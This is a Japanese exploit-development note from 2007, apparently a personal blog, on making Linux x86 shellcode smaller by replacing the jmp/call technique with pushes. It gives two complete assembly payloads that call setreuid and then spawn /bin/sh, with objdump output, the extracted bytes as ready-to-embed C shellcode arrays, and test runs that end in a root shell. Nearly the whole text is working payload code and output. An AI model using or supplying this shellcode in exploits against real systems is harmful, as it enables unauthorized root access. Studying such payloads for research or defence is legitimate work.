NENote of Exploiting


2007-03-18 : Tiny Shellcode

 これはシェルコードをより小さくする実験メモである。このtiny shellcodeはjmp/callテクニックの代りにプッシュテクニックを利用することで、より小さなコードを作成する。このテクニックは小さなシェルコードを生成するのに役立つ。Linuxシステムではプッシュテクニックを用いたシェルコードは、jmp/callテクニックを用いたシェルコードよりも小さくなるが、BSDシステムではプッシュテクニックを用いたシェルコードの方が複雑で大きくなる。

[SC] tinyshell.s


.global main
main:
    #setreuid
    xorl   %eax,   %eax
    xorl   %ebx,   %ebx
    xorl   %ecx,   %ecx
    mov    $70,    %al
    int    $0x80

    #execve
    pushl  %ebx
    pushl  $0x68732f2f
    pushl  $0x6e69622f
    movl   %esp,   %ebx
    pushl  %ecx
    pushl  %ebx
    movl   %esp,   %ecx
    xorl   %edx,   %edx
    mov    $11,    %al
    int    $0x80

Exemplification

 gccを用いてtinyshell.sをコンパイルするために、次のようにタイプする。

defolos@glazheim:~/Desktop$ gcc -o tinyshell tinyshell.s

 これでtinyshell.sから実行可能なファイルが作成されたので、このプログラムを16進数の機械語として出力する。これには16進数エディタである「objdump」を次のように利用する。

defolos@glazheim:~/Desktop$ objdump -d tinyshell|grep \<main\> -A 30

08048354 <main>:
 8048354:       31 c0                   xor    %eax,%eax
 8048356:       31 db                   xor    %ebx,%ebx
 8048358:       31 c9                   xor    %ecx,%ecx
 804835a:       b0 46                   mov    $0x46,%al
 804835c:       cd 80                   int    $0x80
 804835e:       53                      push   %ebx
 804835f:       68 2f 2f 73 68          push   $0x68732f2f
 8048364:       68 2f 62 69 6e          push   $0x6e69622f
 8048369:       89 e3                   mov    %esp,%ebx
 804836b:       51                      push   %ecx
 804836c:       53                      push   %ebx
 804836d:       89 e1                   mov    %esp,%ecx
 804836f:       31 d2                   xor    %edx,%edx
 8048371:       b0 0b                   mov    $0xb,%al
 8048373:       cd 80                   int    $0x80
 8048375:       90                      nop
 8048376:       90                      nop
 8048377:       90                      nop
 8048378:       90                      nop
 8048379:       90                      nop
 804837a:       90                      nop
 804837b:       90                      nop
 804837c:       90                      nop
 804837d:       90                      nop
 804837e:       90                      nop
 804837f:       90                      nop

08048380 <__libc_csu_init>:
 8048380:       55                      push   %ebp
 8048381:       89 e5                   mov    %esp,%ebp

 次に、この出力結果からバイトコードを抜き出す。

31 c0                   xor    %eax,%eax
31 db                   xor    %ebx,%ebx
31 c9                   xor    %ecx,%ecx
b0 46                   mov    $0x46,%al
cd 80                   int    $0x80
53                      push   %ebx
68 2f 2f 73 68          push   $0x68732f2f
68 2f 62 69 6e          push   $0x6e69622f
89 e3                   mov    %esp,%ebx
51                      push   %ecx
53                      push   %ebx
89 e1                   mov    %esp,%ecx
31 d2                   xor    %edx,%edx
b0 0b                   mov    $0xb,%al
cd 80                   int    $0x80

 抜き出した16進数の機械語を次のようにC言語のexploit([SC] exploit.c)に埋め込む。


char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46"
"\xcd\x80\x53\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x51"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80"
;

 最後に、次のようにexploit.exeをコンパイルし、実行する。正常に動作することが確認できた。

defolos@glazheim:~/Desktop$ gcc -o exploit.exe exploit.c
defolos@glazheim:~/Desktop$ ./exploit.exe
sp =  0xbffff908
ret = 0xbffff908
-------exploit---------------
sh-2.05b# whoami
root

Issues

 結果として小型のシェルコードは動作したが、コードが美しくはない。より小さくすることも可能と考えられる。

 2点の変更点が存在する。ひとつ目は"xorl %eax, %eax mov $70, %al"の部分であり、もうひとつ目は"xorl %edx, %edx"の部分である。この2点を改良し、さらに小型化したシェルコードをtinyshell-2.sとして次に示す。

[SC] tinyshell-2.s


.globl main
main:
    #setreuid
    pushl  $70
    popl   %eax
    xorl   %ebx,   %ebx
    xorl   %ecx,   %ecx
    int    $0x80

    #execve
    pushl  %ebx
    pushl  $0x68732f2f
    pushl  $0x6e69622f
    movl   %esp,   %ebx
    pushl  %ecx
    pushl  %ebx
    movl   %esp,   %ecx
    cdq
    mov    $11,    %al
    int    $0x80

Exemplification

 tinyshell-2.sをgccでコンパイルし、16進数のマシン語として出力する。16進数エディタであるobjdumpを次のように利用する。

defolos@glazheim:~/Desktop$ gcc -o tinyshell tinyshell.s
defolos@glazheim:~/Desktop$ objdump -d tinyshell|grep \<main\> -A 30

08048354 <main>:
 8048354:       6a 46                   push   $0x46
 8048356:       58                      pop    %eax
 8048357:       31 db                   xor    %ebx,%ebx
 8048359:       31 c9                   xor    %ecx,%ecx
 804835b:       cd 80                   int    $0x80
 804835d:       53                      push   %ebx
 804835e:       68 2f 2f 73 68          push   $0x68732f2f
 8048363:       68 2f 62 69 6e          push   $0x6e69622f
 8048368:       89 e3                   mov    %esp,%ebx
 804836a:       51                      push   %ecx
 804836b:       53                      push   %ebx
 804836c:       89 e1                   mov    %esp,%ecx
 804836e:       99                      cltd
 804836f:       b0 0b                   mov    $0xb,%al
 8048371:       cd 80                   int    $0x80
 8048373:       90                      nop
 8048374:       90                      nop
 8048375:       90                      nop
 8048376:       90                      nop
 8048377:       90                      nop
 8048378:       90                      nop
 8048379:       90                      nop
 804837a:       90                      nop
 804837b:       90                      nop
 804837c:       90                      nop
 804837d:       90                      nop
 804837e:       90                      nop
 804837f:       90                      nop

08048380 <__libc_csu_init>:

 次に、この出力結果からバイトコードへ変換する。

6a 46                   push   $0x46
58                      pop    %eax
31 db                   xor    %ebx,%ebx
31 c9                   xor    %ecx,%ecx
cd 80                   int    $0x80
53                      push   %ebx
68 2f 2f 73 68          push   $0x68732f2f
68 2f 62 69 6e          push   $0x6e69622f
89 e3                   mov    %esp,%ebx
51                      push   %ecx
53                      push   %ebx
89 e1                   mov    %esp,%ecx
99                      cltd
b0 0b                   mov    $0xb,%al
cd 80                   int    $0x80

 この16進数の機械語を次のようにC言語のexploit([SC] exploit.c)に埋め込む。


char shellcode[]=
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd"
"\x80\x53\x68\x2f\x2f\x73\x68\x68"
"\x2f\x62\x69\x6e\x89\xe3\x51\x53"
"\x89\xe1\x99\xb0\x0b\xcd\x80"
;

 最後に、このexploitをコンパイルして実行する。ペイロードが正常に動作することが確認できた。

defolos@glazheim:~/Desktop$ gcc -o exploit.exe exploit.c
defolos@glazheim:~/Desktop$ ./exploit.exe

sp =  0xbffff908
ret = 0xbffff908
-------exploit---------------
sh-2.05b# whoami
root

 tinyshell-2.sはtinyshell.sに比べて2バイトの短縮に成功している。

References

Copyleft (C) 2007 Len. All Rights Not Reserved.